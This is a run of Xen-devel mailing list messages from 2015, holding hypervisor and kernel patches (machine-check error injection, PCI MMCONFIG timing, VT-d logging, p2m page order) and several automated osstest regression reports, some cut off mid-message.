guest physical address passed-in through
xen_mc_msrinject.mcinj_msr[i].value to the host machine address if
this flag is present.

Signed-off-by: Haozhong Zhang 
---
 xen/arch/x86/cpu/mcheck/mce.c | 56 ++-
 xen/include/public/arch-x86/xen-mca.h |  5 +++-
 2 files changed, 52 insertions(+), 9 deletions(-)

diff --git a/xen/arch/x86/cpu/mcheck/mce.c b/xen/arch/x86/cpu/mcheck/mce.c
index 561257d..08cd3f2 100644
--- a/xen/arch/x86/cpu/mcheck/mce.c
+++ b/xen/arch/x86/cpu/mcheck/mce.c
@@ -21,6 +21,7 @@
 #include 
 #include 
 #include 
+#include 
 
 #include "mce.h"
 #include "barrier.h"
@@ -48,14 +49,15 @@ struct mca_banks *mca_allbanks;
 #define _MC_MSRINJ_F_REQ_HWCR_WREN (1 << 16)
 
 #if 0
-static int x86_mcerr(const char *msg, int err)
-{
-gdprintk(XENLOG_WARNING, "x86_mcerr: %s, returning %d\n",
- msg != NULL ? msg : "", err);
-return err;
-}
+#define x86_mcerr(fmt, err, args...)\
+({  \
+int _err = (err);   \
+gdprintk(XENLOG_WARNING, "x86_mcerr: " fmt ", returning %d\n",  \
+ ## args, _err);\
+_err;   \
+})
 #else
-#define x86_mcerr(msg, err) (err)
+#define x86_mcerr(fmt, err, args...) (err)
 #endif
 
 int mce_verbosity;
@@ -1307,7 +1309,7 @@ long do_mca(XEN_GUEST_HANDLE_PARAM(xen_mc_t) u_xen_mc)
 
 ret = xsm_do_mca(XSM_PRIV);
 if ( ret )
-return x86_mcerr(NULL, ret);
+return x86_mcerr("", ret);
 
 if ( copy_from_guest(op, u_xen_mc, 1) )
 return x86_mcerr("do_mca: failed copyin of xen_mc_t", -EFAULT);
@@ -1422,6 +1424,44 @@ long do_mca(XEN_GUEST_HANDLE_PARAM(xen_mc_t) u_xen_mc)
 if (mc_msrinject->mcinj_count == 0)
 return 0;
 
+if ( mc_msrinject->mcinj_flags & MC_MSRINJ_F_GPADDR )
+{
+struct domain *d;
+struct mcinfo_msr *msr;
+unsigned int i;
+paddr_t gaddr;
+unsigned long gfn, mfn;
+p2m_type_t t;
+
+d = get_domain_by_id(mc_msrinject->mcinj_domid);
+if ( d == NULL )
+return x86_mcerr("do_mca inject: bad domain id %d",
+ -EINVAL, mc_msrinject->mcinj_domid);
+
+for ( i = 0, msr = _msrinject->mcinj_msr[0];
+  i < mc_msrinject->mcinj_count;
+  i++, msr++ )
+{
+gaddr = msr->value;
+gfn = PFN_DOWN(gaddr);
+mfn = mfn_x(get_gfn(d, gfn, ));
+
+if ( mfn == INVALID_MFN )
+{
+put_gfn(d, gfn);
+put_domain(d);
+return x86_mcerr("do_mca inject: bad gfn %#lx of domain 
%d",
+ -EINVAL, gfn, mc_msrinject->mcinj_domid);
+}
+
+msr->value = pfn_to_paddr(mfn) | (gaddr & (PAGE_SIZE - 1));
+
+put_gfn(d, gfn);
+}
+
+put_domain(d);
+}
+
 if (!x86_mc_msrinject_verify(mc_msrinject))
 return x86_mcerr("do_mca inject: illegal MSR", -EINVAL);
 
diff --git a/xen/include/public/arch-x86/xen-mca.h 
b/xen/include/public/arch-x86/xen-mca.h
index ec1237a..a97e821 100644
--- a/xen/include/public/arch-x86/xen-mca.h
+++ b/xen/include/public/arch-x86/xen-mca.h
@@ -392,12 +392,15 @@ struct xen_mc_msrinject {
 uint32_t mcinj_cpunr;   /* target processor id */
 uint32_t mcinj_flags;   /* see MC_MSRINJ_F_* below */
 uint32_t mcinj_count;   /* 0 .. count-1 in array are valid */
-uint32_t _pad0;
+domid_t  mcinj_domid;   /* valid only if MC_MSRINJ_F_GPADDR is
+   present in mcinj_flags */
+uint16_t _pad0;
 struct mcinfo_msr mcinj_msr[MC_MSRINJ_MAXMSRS];
 };
 
 /* Flags for mcinj_flags above; bits 16-31 are reserved */
 #define MC_MSRINJ_F_INTERPOSE   0x1
+#define MC_MSRINJ_F_GPADDR  0x2
 
 #define XEN_MC_mceinject5
 struct xen_mc_mceinject {
-- 
2.4.8


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH v2 2/4] tools/xen-mceinj: Fix code style

[Haozhong Zhang]

Remove trailing whitespaces in xen-mceinj.c.

Signed-off-by: Haozhong Zhang 
---
 tools/tests/mce-test/tools/xen-mceinj.c | 66 -
 1 file changed, 33 insertions(+), 33 deletions(-)

diff --git a/tools/tests/mce-test/tools/xen-mceinj.c 
b/tools/tests/mce-test/tools/xen-mceinj.c
index e2e49cb..71813c6 100644
--- a/tools/tests/mce-test/tools/xen-mceinj.c
+++ b/tools/tests/mce-test/tools/xen-mceinj.c
@@ -13,7 +13,7 @@
  *
  * You should have received a copy of the GNU General Public License along with
  * this program; If not, see .
- * 
+ *
  * Authors: Yunhong Jiang 
  *  Haicheng Li 
  *  Xudong Hao 
@@ -217,18 +217,18 @@ static uint64_t bank_addr(int bank, int type)
 
 switch ( type )
 {
-case MCi_type_CTL:
-case MCi_type_STATUS:
-case MCi_type_ADDR:
-case MCi_type_MISC:
-addr = MSR_IA32_MC0_CTL + (bank * 4) + type;
-break;
-case MCi_type_CTL2:
-addr = MSR_IA32_MC0_CTL2 + bank;
-break;
-default:
-addr = INVALID_MSR;
-break;
+case MCi_type_CTL:
+case MCi_type_STATUS:
+case MCi_type_ADDR:
+case MCi_type_MISC:
+addr = MSR_IA32_MC0_CTL + (bank * 4) + type;
+break;
+case MCi_type_CTL2:
+addr = MSR_IA32_MC0_CTL2 + bank;
+break;
+default:
+addr = INVALID_MSR;
+break;
 }
 
 return addr;
@@ -243,7 +243,7 @@ static int add_msr_intpose(xc_interface *xc_handle,
 uint32_t count;
 
 if ( (msr_inj.mcinj_count &&
- (cpu_nr != msr_inj.mcinj_cpunr || flags != msr_inj.mcinj_flags)) ||
+  (cpu_nr != msr_inj.mcinj_cpunr || flags != msr_inj.mcinj_flags)) ||
  msr_inj.mcinj_count == MC_MSRINJ_MAXMSRS )
 {
 flush_msr_inj(xc_handle);
@@ -282,8 +282,8 @@ static int add_msr_bank_intpose(xc_interface *xc_handle,
 #define mfn_valid(_mfn) (_mfn != MCE_INVALID_MFN)
 #define mfn_to_pfn(_mfn) (live_m2p[(_mfn)])
 static uint64_t guest_mfn(xc_interface *xc_handle,
-   uint32_t domain,
-   uint64_t gpfn)
+  uint32_t domain,
+  uint64_t gpfn)
 {
 xen_pfn_t *live_m2p = NULL;
 int ret;
@@ -300,8 +300,8 @@ static uint64_t guest_mfn(xc_interface *xc_handle,
 return MCE_INVALID_MFN;
 
 /* Get max gpfn */
-max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, , 
-   sizeof(domain)) + 1;
+max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, ,
+sizeof(domain)) + 1;
 if ( max_gpfn <= 0 )
 err(xc_handle, "Failed to get max_gpfn 0x%lx", max_gpfn);
 
@@ -360,8 +360,8 @@ static uint64_t mca_gpfn_to_mfn(xc_interface *xc_handle,
 if ( domain == DOMID_XEN )
 return gfn;
 
-max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, , 
-   sizeof(domain)) + 1;
+max_gpfn = do_memory_op(xc_handle, XENMEM_maximum_gpfn, ,
+sizeof(domain)) + 1;
 if ( max_gpfn <= 0 )
 err(xc_handle, "Failed to get max_gpfn 0x%lx", max_gpfn);
 index = gfn % max_gpfn;
@@ -374,7 +374,7 @@ static int inject_mcg_status(xc_interface *xc_handle,
  uint64_t val)
 {
 return add_msr_intpose(xc_handle, cpu_nr, MC_MSRINJ_F_INTERPOSE,
-   MSR_IA32_MCG_STATUS, val);
+   MSR_IA32_MCG_STATUS, val);
 }
 
 static int inject_mci_status(xc_interface *xc_handle,
@@ -383,25 +383,25 @@ static int inject_mci_status(xc_interface *xc_handle,
  uint64_t val)
 {
 return add_msr_bank_intpose(xc_handle, cpu_nr, MC_MSRINJ_F_INTERPOSE,
-MCi_type_STATUS, bank, val); 
+MCi_type_STATUS, bank, val);
 }
 
 static int inject_mci_misc(xc_interface *xc_handle,
- uint32_t cpu_nr,
- uint64_t bank,
- uint64_t val)
+   uint32_t cpu_nr,
+   uint64_t bank,
+   uint64_t val)
 {
 return add_msr_bank_intpose(xc_handle, cpu_nr, MC_MSRINJ_F_INTERPOSE,
-MCi_type_MISC, bank, val); 
+MCi_type_MISC, bank, val);
 }
 
 static int inject_mci_addr(xc_interface *xc_handle,
- uint32_t cpu_nr,
- uint64_t bank,
- uint64_t val)
+   uint32_t cpu_nr,
+   uint64_t bank,
+   uint64_t val)
 {
 return add_msr_bank_intpose(xc_handle, cpu_nr, MC_MSRINJ_F_INTERPOSE,
- 

[Xen-devel] [xen-4.3-testing test] 61961: regressions - FAIL

[osstest service owner]

flight 61961 xen-4.3-testing real [real]
http://logs.test-lab.xenproject.org/osstest/logs/61961/

Regressions :-(

Tests which did not succeed and are blocking,
including tests which could not be run:
 test-amd64-amd64-xl-raw   9 debian-di-install fail REGR. vs. 60742

Tests which are failing intermittently (not blocking):
 test-amd64-i386-libvirt-raw   9 debian-di-install   fail pass in 61790

Regressions which are regarded as allowable (not blocking):
 test-amd64-i386-libvirt-vhd   9 debian-di-installfail   like 60742
 test-amd64-amd64-libvirt 11 guest-start  fail   like 60742
 test-amd64-i386-libvirt  11 guest-start  fail   like 60742
 test-amd64-amd64-xl-qemuu-win7-amd64 17 guest-stop fail like 60742

Tests which did not succeed, but are not blocking:
 test-amd64-amd64-rumpuserxen-amd64  1 build-check(1)   blocked n/a
 test-amd64-i386-rumpuserxen-i386  1 build-check(1)   blocked  n/a
 test-amd64-amd64-migrupgrade  1 build-check(1)   blocked  n/a
 test-amd64-i386-migrupgrade   1 build-check(1)   blocked  n/a
 test-amd64-i386-libvirt-raw  11 migrate-support-check fail in 61790 never pass
 build-i386-prev   5 xen-buildfail   never pass
 test-amd64-i386-xl-qemuu-ovmf-amd64  9 debian-hvm-install  fail never pass
 test-amd64-amd64-xl-qemuu-ovmf-amd64  9 debian-hvm-install fail never pass
 build-amd64-prev  5 xen-buildfail   never pass
 build-amd64-rumpuserxen   6 xen-buildfail   never pass
 build-i386-rumpuserxen6 xen-buildfail   never pass
 test-armhf-armhf-xl-vhd   6 xen-boot fail   never pass
 test-armhf-armhf-xl-arndale   6 xen-boot fail   never pass
 test-armhf-armhf-xl-qcow2 6 xen-boot fail   never pass
 test-armhf-armhf-xl-raw   6 xen-boot fail   never pass
 test-armhf-armhf-xl   6 xen-boot fail   never pass
 test-armhf-armhf-libvirt  6 xen-boot fail   never pass
 test-armhf-armhf-libvirt-qcow2  6 xen-boot fail never pass
 test-armhf-armhf-libvirt-vhd  6 xen-boot fail   never pass
 test-armhf-armhf-xl-multivcpu  6 xen-boot fail  never pass
 test-armhf-armhf-xl-credit2   6 xen-boot fail   never pass
 test-armhf-armhf-libvirt-raw  6 xen-boot fail   never pass
 test-armhf-armhf-xl-cubietruck  6 xen-boot fail never pass
 test-amd64-amd64-libvirt-raw 11 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-vhd 11 migrate-support-checkfail   never pass
 test-amd64-i386-xl-qemut-win7-amd64 17 guest-stop  fail never pass
 test-amd64-amd64-libvirt-qcow2 11 migrate-support-checkfail never pass
 test-amd64-i386-libvirt-qcow2 11 migrate-support-checkfail  never pass
 test-amd64-i386-xl-qemuu-win7-amd64 17 guest-stop  fail never pass
 test-amd64-amd64-xl-qemut-win7-amd64 17 guest-stop fail never pass
 test-amd64-i386-xend-qemut-winxpsp3 21 leak-check/checkfail never pass

version targeted for testing:
 xen  f97021eb92e91db8032d600893a531863a18bd23
baseline version:
 xen  3bcb2c062a02e3c45d3f87478d2cbe1a134d395c

Last test of basis60742  2015-08-17 03:35:01 Z   30 days
Failing since 61140  2015-09-01 10:04:39 Z   14 days3 attempts
Testing same since61790  2015-09-11 11:19:09 Z4 days2 attempts


People who touched revisions under test:
  Gerd Hoffmann 
  Ian Campbell 
  Ian Jackson 
  Matthew Daley 
  Peter Lieven 
  Wei Liu 

jobs:
 build-amd64  pass
 build-armhf  pass
 build-i386   pass
 build-amd64-libvirt  pass
 build-armhf-libvirt  pass
 build-i386-libvirt   pass
 build-amd64-prev fail
 build-i386-prev  fail
 build-amd64-pvopspass
 build-armhf-pvopspass
 build-i386-pvops pass
 build-amd64-rumpuserxen  fail
 build-i386-rumpuserxen   fail
 test-amd64-amd64-xl

[Xen-devel] [linux-4.1 test] 61947: regressions - FAIL

[osstest service owner]

flight 61947 linux-4.1 real [real]
http://logs.test-lab.xenproject.org/osstest/logs/61947/

Regressions :-(

Tests which did not succeed and are blocking,
including tests which could not be run:
 test-armhf-armhf-xl-credit2  16 guest-start/debian.repeat fail REGR. vs. 60785

Regressions which are regarded as allowable (not blocking):
 test-amd64-amd64-xl-qemut-stubdom-debianhvm-amd64-xsm 13 guest-localmigrate 
fail like 60785
 test-armhf-armhf-xl-rtds 11 guest-start  fail   like 60785
 test-amd64-i386-xl-qemut-stubdom-debianhvm-amd64-xsm 15 guest-localmigrate.2 
fail like 60785
 test-amd64-amd64-xl-qemut-win7-amd64 17 guest-stop fail like 60785
 test-amd64-amd64-xl-qemuu-win7-amd64 17 guest-stop fail like 60785

Tests which did not succeed, but are not blocking:
 test-amd64-amd64-xl-pvh-intel 14 guest-saverestorefail  never pass
 test-armhf-armhf-xl-qcow2 9 debian-di-installfail   never pass
 test-armhf-armhf-libvirt-qcow2  9 debian-di-installfail never pass
 test-armhf-armhf-libvirt-vhd  9 debian-di-installfail   never pass
 test-armhf-armhf-xl-vhd   9 debian-di-installfail   never pass
 test-armhf-armhf-xl-raw   9 debian-di-installfail   never pass
 test-amd64-amd64-xl-pvh-amd  11 guest-start  fail   never pass
 test-armhf-armhf-libvirt-raw  9 debian-di-installfail   never pass
 test-armhf-armhf-libvirt-xsm 12 migrate-support-checkfail   never pass
 test-armhf-armhf-libvirt-xsm 14 guest-saverestorefail   never pass
 test-armhf-armhf-libvirt 14 guest-saverestorefail   never pass
 test-armhf-armhf-libvirt 12 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-xsm 12 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-pair 21 guest-migrate/src_host/dst_host fail never 
pass
 test-amd64-amd64-libvirt 12 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-xsm  12 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl-xsm  13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-xsm  12 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-pair 21 guest-migrate/src_host/dst_host fail never pass
 test-armhf-armhf-xl  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl  13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-arndale  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl-arndale  13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-multivcpu 13 saverestore-support-checkfail  never pass
 test-armhf-armhf-xl-multivcpu 12 migrate-support-checkfail  never pass
 test-amd64-i386-libvirt-qemuu-debianhvm-amd64-xsm 10 migrate-support-check 
fail never pass
 test-amd64-i386-libvirt-qcow2 11 migrate-support-checkfail  never pass
 test-amd64-amd64-libvirt-qemuu-debianhvm-amd64-xsm 10 migrate-support-check 
fail never pass
 test-amd64-amd64-libvirt-qcow2 11 migrate-support-checkfail never pass
 test-amd64-amd64-libvirt-vhd 11 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-raw 11 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-vhd  11 migrate-support-checkfail   never pass
 test-armhf-armhf-xl-credit2  13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-credit2  12 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-raw  11 migrate-support-checkfail   never pass
 test-armhf-armhf-xl-cubietruck 12 migrate-support-checkfail never pass
 test-armhf-armhf-xl-cubietruck 13 saverestore-support-checkfail never pass
 test-amd64-i386-xl-qemuu-win7-amd64 17 guest-stop  fail never pass
 test-amd64-i386-xl-qemut-win7-amd64 17 guest-stop  fail never pass

version targeted for testing:
 linux0c5c1f1a4f991ee015da85cce6d2d9f9c9380b4f
baseline version:
 linux4ff62ca06c0c0b084f585f7a2cfcf832b21d94fc

Last test of basis60785  2015-08-19 15:45:37 Z   27 days
Testing same since61947  2015-09-13 16:40:56 Z2 days1 attempts


People who touched revisions under test:
  Adrien Schildknecht 
  Al Viro 
  Alan Stern 
  Alban Crequy 
  Alban Crequy 
  Alex Deucher 
  Alexei Potashnik 
  Andrew Morton 
  Andy Lutomirski 
  Anil Chintalapati 
  Bart Van Assche 
  Baruch Siach 
  Ben Hutchings 
  

[Xen-devel] [PATCH] xen/mcfg: Call PHYSDEVOP_pci_mmcfg_reserved before PCI enumeration

[Ed Swierk]

On systems where the ACPI DSDT advertises the PCI MMCONFIG area but the
E820 table does not reserve it, it's up to Dom0 to inform Xen via
PHYSDEVOP_pci_mmcfg_reserved.  This needs to happen before Xen tries to
access extended capabilities like SRIOV in pci_add_device(), which is
triggered when Linux enumerates PCI devices in acpi_init().  Changing
xen_mcfg_late() to arch_initcall_sync ensures it gets called before
acpi_init(), but after pci_mmcfg_list is populated by pci_arch_init().

Without this change, Xen 4.4 and 4.5 emit WARN messsages from
msix_capability_init() when setting up Intel 82599 VFs, since vf_rlen has
not been initialized by pci_add_device().  And on Xen 4.5, Xen nukes the
DomU due to "Potentially insecure use of MSI-X" when the VF driver loads
in the DomU.  Both problems are fixed by this change.

Signed-off-by: Ed Swierk 
---
 drivers/xen/pci.c | 6 --
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/drivers/xen/pci.c b/drivers/xen/pci.c
index 7494dbe..7b5bbdb 100644
--- a/drivers/xen/pci.c
+++ b/drivers/xen/pci.c
@@ -253,7 +253,9 @@ static int __init xen_mcfg_late(void)
return 0;
 }
 /*
- * Needs to be done after acpi_init which are subsys_initcall.
+ * Needs to be called after pci_arch_init (arch_initcall) populates
+ * pci_mmcfg_list, but before acpi_init (subsys_initcall) triggers
+ * pci_add_device() in Xen, since the latter probes extended capabilities.
  */
-subsys_initcall_sync(xen_mcfg_late);
+arch_initcall_sync(xen_mcfg_late);
 #endif
-- 
1.9.1


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH] vtd/iommu: correct loglevel when check group divices

[Tiejun Chen]

Since commit 3848058e7dd6 (vtd/iommu: permit group devices to
passthrough in relaxed mode) is introduced, we always print
message as XENLOG_G_WARNING but its not correct in the case of
strict mode. So here is making this message depending on the
specific mode.

CC: Yang Zhang 
CC: Kevin Tian 
CC: Jan Beulich 
CC: Wei Liu 
Signed-off-by: Tiejun Chen 
---
 xen/drivers/passthrough/vtd/iommu.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/xen/drivers/passthrough/vtd/iommu.c 
b/xen/drivers/passthrough/vtd/iommu.c
index 7b45bff..53aac18 100644
--- a/xen/drivers/passthrough/vtd/iommu.c
+++ b/xen/drivers/passthrough/vtd/iommu.c
@@ -2314,10 +2314,11 @@ static int intel_iommu_assign_device(
 {
 bool_t relaxed = !!(flag & XEN_DOMCTL_DEV_RDM_RELAXED);
 
-printk(XENLOG_G_WARNING VTDPREFIX
+printk(XENLOG_GUEST "%s" VTDPREFIX
" It's %s to assign %04x:%02x:%02x.%u"
" with shared RMRR at %"PRIx64" for Dom%d.\n",
relaxed ? "risky" : "disallowed",
+   relaxed ? XENLOG_WARNING : XENLOG_ERR,
seg, bus, PCI_SLOT(devfn), PCI_FUNC(devfn),
rmrr->base_address, d->domain_id);
 if ( !relaxed )
-- 
1.9.1


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [qemu-upstream-4.6-testing baseline-only test] 37930: tolerable trouble: broken/fail/pass

[Platform Team regression test user]

This run is configured for baseline tests only.

flight 37930 qemu-upstream-4.6-testing real [real]
http://osstest.xs.citrite.net/~osstest/testlogs/logs/37930/

Failures :-/ but no regressions.

Tests which did not succeed,
including tests which could not be run:
 test-amd64-i386-xl-qemuu-winxpsp3  3 host-install(3) broken never pass
 test-armhf-armhf-libvirt-vhd  9 debian-di-installfail   never pass
 test-armhf-armhf-xl-vhd   9 debian-di-installfail   never pass
 test-armhf-armhf-xl-qcow2 9 debian-di-installfail   never pass
 test-armhf-armhf-xl-raw   9 debian-di-installfail   never pass
 test-armhf-armhf-libvirt-raw  9 debian-di-installfail   never pass
 test-armhf-armhf-libvirt-xsm 12 migrate-support-checkfail   never pass
 test-armhf-armhf-libvirt-xsm 14 guest-saverestorefail   never pass
 test-armhf-armhf-xl-multivcpu 11 guest-start  fail  never pass
 test-armhf-armhf-libvirt 14 guest-saverestorefail   never pass
 test-armhf-armhf-libvirt 12 migrate-support-checkfail   never pass
 test-amd64-amd64-xl-pvh-intel 11 guest-start  fail  never pass
 test-amd64-amd64-xl-pvh-amd  11 guest-start  fail   never pass
 test-armhf-armhf-libvirt-qcow2  9 debian-di-installfail never pass
 test-amd64-amd64-libvirt-qemuu-debianhvm-amd64-xsm  6 xen-boot fail never pass
 test-armhf-armhf-xl-credit2  13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-credit2  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl-xsm  13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-xsm  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl  13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-midway   13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-midway   12 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt  12 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-pair 21 guest-migrate/src_host/dst_host fail never pass
 test-armhf-armhf-xl-rtds 13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-rtds 12 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt 12 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-xsm 12 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-qcow2 11 migrate-support-checkfail  never pass
 test-amd64-i386-libvirt-raw  11 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-xsm  12 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-pair 21 guest-migrate/src_host/dst_host fail never 
pass
 test-amd64-i386-libvirt-vhd  11 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-qcow2 11 migrate-support-checkfail never pass
 test-amd64-amd64-libvirt-raw 11 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-vhd 11 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-qemuu-debianhvm-amd64-xsm 10 migrate-support-check 
fail never pass
 test-amd64-i386-xl-qemuu-win7-amd64 17 guest-stop  fail never pass
 test-amd64-amd64-xl-qemuu-win7-amd64 17 guest-stop fail never pass
 test-amd64-amd64-xl-qemuu-winxpsp3  9 windows-install  fail never pass

version targeted for testing:
 qemuub05befcbea71a979509ce04f02929969a790c923

jobs:
 build-amd64-xsm  pass
 build-armhf-xsm  pass
 build-i386-xsm   pass
 build-amd64  pass
 build-armhf  pass
 build-i386   pass
 build-amd64-libvirt  pass
 build-armhf-libvirt  pass
 build-i386-libvirt   pass
 build-amd64-pvopspass
 build-armhf-pvopspass
 build-i386-pvops pass
 test-amd64-amd64-xl  pass
 test-armhf-armhf-xl  pass
 test-amd64-i386-xl   pass
 test-amd64-amd64-libvirt-qemuu-debianhvm-amd64-xsm   fail
 test-amd64-i386-libvirt-qemuu-debianhvm-amd64-xsmpass
 test-amd64-amd64-xl-qemuu-debianhvm-amd64-xsmpass
 test-amd64-i386-xl-qemuu-debianhvm-amd64-xsm  

[Xen-devel] [qemu-mainline test] 61883: regressions - FAIL

[osstest service owner]

flight 61883 qemu-mainline real [real]
http://logs.test-lab.xenproject.org/osstest/logs/61883/

Regressions :-(

Tests which did not succeed and are blocking,
including tests which could not be run:
 test-armhf-armhf-xl-multivcpu 16 guest-start/debian.repeat fail REGR. vs. 61666
 test-amd64-amd64-xl-qemuu-ovmf-amd64 19 guest-start/debianhvm.repeat fail 
REGR. vs. 61666

Regressions which are regarded as allowable (not blocking):
 test-armhf-armhf-xl-rtds 11 guest-start   fail REGR. vs. 61666
 test-amd64-i386-libvirt-raw  17 guest-start/debian.repeat fail REGR. vs. 61666

Tests which did not succeed, but are not blocking:
 test-amd64-amd64-xl-pvh-amd  11 guest-start  fail   never pass
 test-armhf-armhf-xl-vhd   9 debian-di-installfail   never pass
 test-amd64-amd64-xl-pvh-intel 11 guest-start  fail  never pass
 test-armhf-armhf-libvirt-raw  9 debian-di-installfail   never pass
 test-armhf-armhf-libvirt-vhd  9 debian-di-installfail   never pass
 test-armhf-armhf-libvirt 14 guest-saverestorefail   never pass
 test-armhf-armhf-libvirt 12 migrate-support-checkfail   never pass
 test-armhf-armhf-libvirt-xsm 12 migrate-support-checkfail   never pass
 test-armhf-armhf-libvirt-xsm 14 guest-saverestorefail   never pass
 test-armhf-armhf-xl-raw   9 debian-di-installfail   never pass
 test-amd64-amd64-libvirt-xsm 12 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-xsm  12 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-pair 21 guest-migrate/src_host/dst_host fail never 
pass
 test-amd64-i386-libvirt-pair 21 guest-migrate/src_host/dst_host fail never pass
 test-armhf-armhf-xl-arndale  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl-arndale  13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-multivcpu 13 saverestore-support-checkfail  never pass
 test-armhf-armhf-xl-multivcpu 12 migrate-support-checkfail  never pass
 test-amd64-amd64-libvirt-qemuu-debianhvm-amd64-xsm 10 migrate-support-check 
fail never pass
 test-amd64-i386-libvirt-qemuu-debianhvm-amd64-xsm 10 migrate-support-check 
fail never pass
 test-amd64-i386-libvirt-qcow2 11 migrate-support-checkfail  never pass
 test-armhf-armhf-xl-credit2  13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-credit2  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl-cubietruck 12 migrate-support-checkfail never pass
 test-armhf-armhf-xl-cubietruck 13 saverestore-support-checkfail never pass
 test-armhf-armhf-xl  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl  13 saverestore-support-checkfail   never pass
 test-amd64-i386-libvirt  12 migrate-support-checkfail   never pass
 test-armhf-armhf-xl-xsm  13 saverestore-support-checkfail   never pass
 test-armhf-armhf-xl-xsm  12 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-raw  11 migrate-support-checkfail   never pass
 test-armhf-armhf-xl-qcow2 9 debian-di-installfail   never pass
 test-amd64-i386-xl-qemuu-win7-amd64 17 guest-stop  fail never pass
 test-amd64-amd64-libvirt-qcow2 11 migrate-support-checkfail never pass
 test-amd64-amd64-xl-qemuu-win7-amd64 17 guest-stop fail never pass
 test-amd64-amd64-libvirt 12 migrate-support-checkfail   never pass
 test-amd64-amd64-xl-vhd   9 debian-di-installfail   never pass
 test-amd64-i386-libvirt-vhd   9 debian-di-installfail   never pass
 test-amd64-amd64-libvirt-vhd  9 debian-di-installfail   never pass
 test-amd64-i386-xl-vhd9 debian-di-installfail   never pass
 test-amd64-amd64-libvirt-raw 11 migrate-support-checkfail   never pass
 test-armhf-armhf-libvirt-qcow2  9 debian-di-installfail never pass

version targeted for testing:
 qemuu30c38c90bd3f1bb105ebc069ac1821067c980b7c
baseline version:
 qemuufc04a730b7e60f4a62d6260d4eb9c537d1d3643f

Last test of basis61666  2015-09-09 03:07:40 Z6 days
Failing since 61767  2015-09-10 17:49:38 Z4 days2 attempts
Testing same since61883  2015-09-12 20:48:07 Z2 days1 attempts


People who touched revisions under test:
  Andrey Korolyov 
  Benjamin Herrenschmidt 
  Cornelia Huck 
  Daniel P. Berrange 
  Don Slutz 
  Eduardo Habkost 
  Gerd Hoffmann 
  Igor Mammedov 
  Jan Beulich 
  John Snow 
  Konrad Rzeszutek Wilk 
  Kővágó, Zoltán 

[Xen-devel] [PATCH 2/4] x86/NPT: always return proper order value from p2m_pt_get_entry()

[Jan Beulich]

This is so that callers can determine what range of address space would
get altered by a corresponding "set".

Signed-off-by: Jan Beulich 

--- a/xen/arch/x86/mm/p2m-pt.c
+++ b/xen/arch/x86/mm/p2m-pt.c
@@ -715,14 +715,26 @@ p2m_pt_get_entry(struct p2m_domain *p2m,
 *a = p2m_access_rwx; 
 
 if ( gfn > p2m->max_mapped_pfn )
+{
 /* This pfn is higher than the highest the p2m map currently holds */
+if ( page_order )
+{
+for ( *page_order = 3 * PAGETABLE_ORDER; *page_order;
+  *page_order -= PAGETABLE_ORDER )
+if ( (gfn & ~((1UL << *page_order) - 1)) >
+ p2m->max_mapped_pfn )
+break;
+}
 return _mfn(INVALID_MFN);
+}
 
 mfn = pagetable_get_mfn(p2m_get_pagetable(p2m));
 
 {
 l4_pgentry_t *l4e = map_domain_page(mfn);
 l4e += l4_table_offset(addr);
+if ( page_order )
+*page_order = 3 * PAGETABLE_ORDER;
 if ( (l4e_get_flags(*l4e) & _PAGE_PRESENT) == 0 )
 {
 unmap_domain_page(l4e);
@@ -735,6 +747,9 @@ p2m_pt_get_entry(struct p2m_domain *p2m,
 {
 l3_pgentry_t *l3e = map_domain_page(mfn);
 l3e += l3_table_offset(addr);
+if ( page_order )
+*page_order = 2 * PAGETABLE_ORDER;
+
 pod_retry_l3:
 flags = l3e_get_flags(*l3e);
 if ( !(flags & _PAGE_PRESENT) )
